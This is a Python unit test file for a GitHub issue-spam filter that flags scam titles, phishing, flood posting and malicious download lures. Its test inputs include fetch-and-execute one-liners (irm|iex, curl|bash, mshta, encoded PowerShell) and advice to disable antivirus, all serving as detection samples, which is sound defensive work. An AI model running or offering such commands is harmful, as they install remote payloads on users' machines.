upleb.uk

Public git repos — served from a NIP-34 GRASP relay at git.upleb.uk

summaryrefslogtreecommitdiff
path: root/scripts/test_filter_issue_spam.py
blob: b31632e79a3e125e63a897bf2c261dc004594e53 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
"""Unit tests for scripts/filter_issue_spam.py."""
from __future__ import annotations

import os
import sys
import unittest
from datetime import datetime, timedelta, timezone
from typing import Any

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import filter_issue_spam as fis


def _make_issue(
    *,
    number: int = 100,
    title: str = "Test issue",
    body: str = "",
    author: str = "newuser123",
    author_association: str = "NONE",
    created_at: str = "2026-11-29T13:00:00Z",
    state: str = "open",
    locked: bool = False,
    pull_request: dict[str, Any] | None = None,
) -> dict[str, Any]:
    issue: dict[str, Any] = {
        "number": number,
        "title": title,
        "body": body,
        "user": {"login": author},
        "author_association": author_association,
        "created_at": created_at,
        "state": state,
        "locked": locked,
    }
    if pull_request is not None:
        issue["pull_request"] = pull_request
    return issue


class FakeGitHubClient(fis.GitHubClient):
    def __init__(
        self,
        issue: dict[str, Any],
        recent: list[dict[str, Any]] | None = None,
    ) -> None:
        super().__init__(token="fake-token")
        self._issue = issue
        self._recent = recent or []
        self.calls: list[tuple[str, Any]] = []

    def get_issue(self, repo: str, number: int) -> dict[str, Any]:
        self.calls.append(("get_issue", (repo, number)))
        return self._issue

    def list_recent_issues(
        self,
        repo: str,
        since: datetime,
        per_page: int = 50,
        max_pages: int = 1,
    ) -> list[dict[str, Any]]:
        self.calls.append(("list_recent_issues", (repo, per_page, max_pages)))
        return self._recent

    def neutralize_and_close_issue(
        self, repo: str, number: int, *, clear_title: bool = False
    ) -> None:
        self.calls.append(("neutralize_and_close", (repo, number, clear_title)))

    def lock_issue_as_spam(self, repo: str, number: int) -> None:
        self.calls.append(("lock", (repo, number)))

    def add_spam_label(self, repo: str, number: int) -> None:
        self.calls.append(("label", (repo, number)))

    def block_org_user(self, org: str, username: str) -> bool:
        self.calls.append(("block_org_user", (org, username)))
        return True


class TestAnalyzeIssue(unittest.TestCase):
    def test_bait_tag_and_download_title_detected(self) -> None:
        issue = _make_issue(
            title="🎮 [GUIDE] Sample App PC — Download & Guide",
            body="Follow this guide to install.",
        )
        verdict = fis.analyze_issue(issue)
        self.assertTrue(verdict.is_spam)
        self.assertGreaterEqual(verdict.score, fis.SPAM_THRESHOLD)

    def test_explicit_scam_titles_detected(self) -> None:
        for title in (
            "Free Download Full Version 2026",
            "HWID Spoofer Updated",
            "Wallet Drainer Script",
            "Repack Download Latest Build",
            "Keygen and Activator",
        ):
            with self.subTest(title=title):
                verdict = fis.analyze_issue(_make_issue(title=title))
                self.assertTrue(verdict.is_spam)

    def test_malicious_oneliners_detected(self) -> None:
        bodies = [
            "Run: irm https://example.invalid/setup.ps1 | iex",
            "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQApAA==",
            "curl -sL https://example.invalid/install.sh | bash",
            "mshta https://example.invalid/payload.hta",
        ]
        for body in bodies:
            with self.subTest(body=body):
                verdict = fis.analyze_issue(_make_issue(title="Quick fix", body=body))
                self.assertTrue(verdict.is_spam)
                self.assertIn("malicious_download_oneliner", verdict.reasons)

    def test_archive_password_and_av_disable_detected(self) -> None:
        issue = _make_issue(
            title="Installer package",
            body=(
                "1. Disable Windows Defender before extracting.\n"
                "2. Extract with zip password: 2026\n"
                "3. Run setup.exe"
            ),
        )
        verdict = fis.analyze_issue(issue)
        self.assertTrue(verdict.is_spam)
        self.assertIn("archive_password_and_av_disable", verdict.reasons)

    def test_suspicious_host_and_download_cta_detected(self) -> None:
        issue = _make_issue(
            title="New installer package available",
            body=(
                "Download now from our mirror link: https://bit.ly/fake123\n"
                "100% working, verified safe! 🔥🚀✅"
            ),
        )
        verdict = fis.analyze_issue(issue)
        self.assertTrue(verdict.is_spam)
        self.assertIn("suspicious_link_host", verdict.reasons)

    def test_stub_title_with_external_link_detected(self) -> None:
        issue = _make_issue(
            title="-",
            body="https://mediafire.com/file/abc123/setup.zip",
        )
        verdict = fis.analyze_issue(issue)
        self.assertTrue(verdict.is_spam)
        self.assertIn("stub_title_with_external_link", verdict.reasons)

    def test_phishing_crypto_scam_detected(self) -> None:
        issue = _make_issue(
            title="Need help",
            body="Contact our crypto recovery helpline number on WhatsApp +1234567890 https://t.me/scam",
        )
        verdict = fis.analyze_issue(issue)
        self.assertTrue(verdict.is_spam)
        self.assertIn("phishing_or_seo_scam", verdict.reasons)

    def test_duplicate_title_flood_across_accounts_detected(self) -> None:
        now = datetime(2026, 11, 29, 14, 0, tzinfo=timezone.utc)
        issue = _make_issue(
            number=3402,
            title="Generic Repeated Spam Title",
            body="Click here",
            author="bot_account_3",
            created_at=now.isoformat().replace("+00:00", "Z"),
        )
        recent = [
            _make_issue(
                number=3399,
                title="Generic Repeated Spam Title",
                author="bot_account_1",
                created_at=(now - timedelta(minutes=20)).isoformat().replace("+00:00", "Z"),
            ),
            _make_issue(
                number=3400,
                title="🔥 Generic Repeated Spam Title!",
                author="bot_account_2",
                created_at=(now - timedelta(minutes=10)).isoformat().replace("+00:00", "Z"),
            ),
        ]
        verdict = fis.analyze_issue(issue, recent, now=now)
        self.assertTrue(verdict.is_spam)
        self.assertTrue(any(r.startswith("duplicate_title_flood") for r in verdict.reasons))

    def test_author_rapid_burst_detected(self) -> None:
        now = datetime(2026, 11, 29, 14, 0, tzinfo=timezone.utc)
        issue = _make_issue(
            number=400,
            title="Fourth random post",
            body="hello",
            author="spammer_bot",
            created_at=now.isoformat().replace("+00:00", "Z"),
        )
        recent = [
            _make_issue(
                number=397 + i,
                title=f"Random post {i}",
                author="spammer_bot",
                created_at=(now - timedelta(minutes=5 * (i + 1))).isoformat().replace("+00:00", "Z"),
            )
            for i in range(3)
        ]
        verdict = fis.analyze_issue(issue, recent, now=now)
        self.assertTrue(verdict.is_spam)
        self.assertTrue(any(r.startswith("author_rapid_burst") for r in verdict.reasons))

    def test_trusted_authors_never_flagged(self) -> None:
        for assoc in ("OWNER", "MEMBER", "COLLABORATOR", "CONTRIBUTOR"):
            with self.subTest(assoc=assoc):
                issue = _make_issue(
                    title="[GUIDE] Free Download",
                    body="irm https://example.invalid | iex",
                    author_association=assoc,
                )
                verdict = fis.analyze_issue(issue)
                self.assertFalse(verdict.is_spam)
                self.assertEqual(verdict.reasons, ("trusted_author",))

    def test_pull_requests_skipped(self) -> None:
        issue = _make_issue(
            title="[GUIDE] Free Download",
            pull_request={"url": "https://api.github.com/repos/xcl-dev/xcl/pulls/1"},
        )
        verdict = fis.analyze_issue(issue)
        self.assertFalse(verdict.is_spam)
        self.assertEqual(verdict.reasons, ("is_pull_request",))

    def test_legitimate_bug_report_not_flagged(self) -> None:
        issue = _make_issue(
            title="Black screen after intro video on RTX 4060",
            body=(
                "### Game and package version\n"
                "Sample Title 1.0.0.0\n\n"
                "### What happens\n"
                "Black screen after logo. Attached report.json and xcl.log.\n\n"
                "### XCL version\n"
                "abc1234\n\n"
                "### GPU and driver version\n"
                "NVIDIA GeForce RTX 4060, 32.0.16.2124\n\n"
                "### report.json and xcl.log\n"
                "https://github.com/user-attachments/files/12345/report.json\n"
                "https://github.com/user-attachments/files/12346/xcl.log\n"
            ),
        )
        verdict = fis.analyze_issue(issue)
        self.assertFalse(verdict.is_spam)

    def test_legitimate_blank_question_not_flagged(self) -> None:
        issue = _make_issue(
            title="Where does xcl store compiled PSO caches?",
            body=(
                "I downloaded the latest build from https://github.com/xcl-dev/xcl/releases "
                "and want to know how to clear the shader cache."
            ),
        )
        verdict = fis.analyze_issue(issue)
        self.assertFalse(verdict.is_spam)


class TestProcessIssue(unittest.TestCase):
    def test_spam_issue_neutralized_closed_locked_and_labeled(self) -> None:
        issue = _make_issue(
            number=3402,
            title="🎮 [GUIDE] Sample PC — Download & Guide",
            body="https://bit.ly/malware",
        )
        client = FakeGitHubClient(issue)
        verdict = fis.process_issue(client, "xcl-dev/xcl", 3402)
        self.assertTrue(verdict.is_spam)
        self.assertIn(("neutralize_and_close", ("xcl-dev/xcl", 3402, False)), client.calls)
        self.assertIn(("lock", ("xcl-dev/xcl", 3402)), client.calls)
        self.assertIn(("label", ("xcl-dev/xcl", 3402)), client.calls)

    def test_spam_title_with_url_is_cleared(self) -> None:
        issue = _make_issue(
            number=3405,
            title="Free Download https://bit.ly/bad",
            body="Click link",
        )
        client = FakeGitHubClient(issue)
        verdict = fis.process_issue(client, "xcl-dev/xcl", 3405)
        self.assertTrue(verdict.is_spam)
        self.assertIn(("neutralize_and_close", ("xcl-dev/xcl", 3405, True)), client.calls)

    def test_dry_run_makes_no_mutations(self) -> None:
        issue = _make_issue(
            number=3406,
            title="[GUIDE] Sample PC — Download & Guide",
            body="https://bit.ly/bad",
        )
        client = FakeGitHubClient(issue)
        verdict = fis.process_issue(client, "xcl-dev/xcl", 3406, dry_run=True)
        self.assertTrue(verdict.is_spam)
        mutating = [c for c in client.calls if c[0] in ("neutralize_and_close", "lock", "label")]
        self.assertEqual(mutating, [])

    def test_already_neutralized_issue_is_skipped(self) -> None:
        issue = _make_issue(
            number=3407,
            title="[GUIDE] Sample PC — Download & Guide",
            body=fis.NEUTRALIZED_BODY,
            state="closed",
            locked=True,
        )
        client = FakeGitHubClient(issue)
        verdict = fis.process_issue(client, "xcl-dev/xcl", 3407)
        self.assertFalse(verdict.is_spam)
        self.assertEqual(verdict.reasons, ("already_neutralized",))

    def test_high_confidence_spam_triggers_org_block(self) -> None:
        issue = _make_issue(
            number=3410,
            title="🎮 [GUIDE] Sample PC — Download & Guide",
            body="https://bit.ly/malware",
            author="spam_bot_99",
        )
        client = FakeGitHubClient(issue)
        verdict = fis.process_issue(client, "xcl-dev/xcl", 3410, org_block_client=client)
        self.assertTrue(verdict.is_spam)
        self.assertIn(("block_org_user", ("xcl-dev", "spam_bot_99")), client.calls)

    def test_borderline_additive_spam_does_not_org_block(self) -> None:
        issue = _make_issue(
            number=3411,
            title="Some package",
            body="Download now from https://bit.ly/foo 🔥🚀✅",
            author="maybe_user",
        )
        verdict = fis.analyze_issue(issue)
        self.assertTrue(verdict.is_spam)
        self.assertFalse(verdict.hard_trigger)
        self.assertLess(verdict.score, fis.ORG_BLOCK_SCORE_THRESHOLD)
        self.assertFalse(fis.should_org_block(issue, verdict))

    def test_bot_account_never_org_blocked(self) -> None:
        issue = _make_issue(
            number=3412,
            title="[GUIDE] Free Download",
            author="some-helper[bot]",
        )
        verdict = fis.analyze_issue(issue)
        self.assertFalse(fis.should_org_block(issue, verdict))

    def test_backfill_blocks_unique_spammers_and_skips_legit(self) -> None:
        recent = [
            _make_issue(
                number=3401,
                title="🎮 [GUIDE] Sample PC — Download & Guide",
                body="removed (malware)",
                author="spammer_a",
                state="closed",
            ),
            _make_issue(
                number=3402,
                title="🎮 [GUIDE] Sample PC — Download & Guide",
                body=fis.NEUTRALIZED_BODY,
                author="spammer_a",
                state="closed",
                locked=True,
            ),
            _make_issue(
                number=3403,
                title="🎮 [GUIDE] Sample PC — Download & Guide",
                body="https://bit.ly/malware",
                author="spammer_b",
                state="open",
            ),
            _make_issue(
                number=3404,
                title="Shader crash on startup",
                body="### What happens\nCrashes with D3D12 error. Attached report.json.",
                author="real_user",
                state="open",
            ),
        ]
        client = FakeGitHubClient(recent[0], recent=recent)
        blocked = fis.backfill_recent_spam(
            client, "xcl-dev/xcl", 24, org_block_client=client
        )
        self.assertEqual(blocked, ["spammer_a", "spammer_b"])
        self.assertIn(("block_org_user", ("xcl-dev", "spammer_a")), client.calls)
        self.assertIn(("block_org_user", ("xcl-dev", "spammer_b")), client.calls)
        self.assertNotIn(("block_org_user", ("xcl-dev", "real_user")), client.calls)
        # Already neutralized #3402 should not be re-neutralized, while #3403 should be.
        neutralized_nums = [
            c[1][1] for c in client.calls if c[0] == "neutralize_and_close"
        ]
        self.assertIn(3403, neutralized_nums)
        self.assertNotIn(3402, neutralized_nums)


if __name__ == "__main__":
    unittest.main()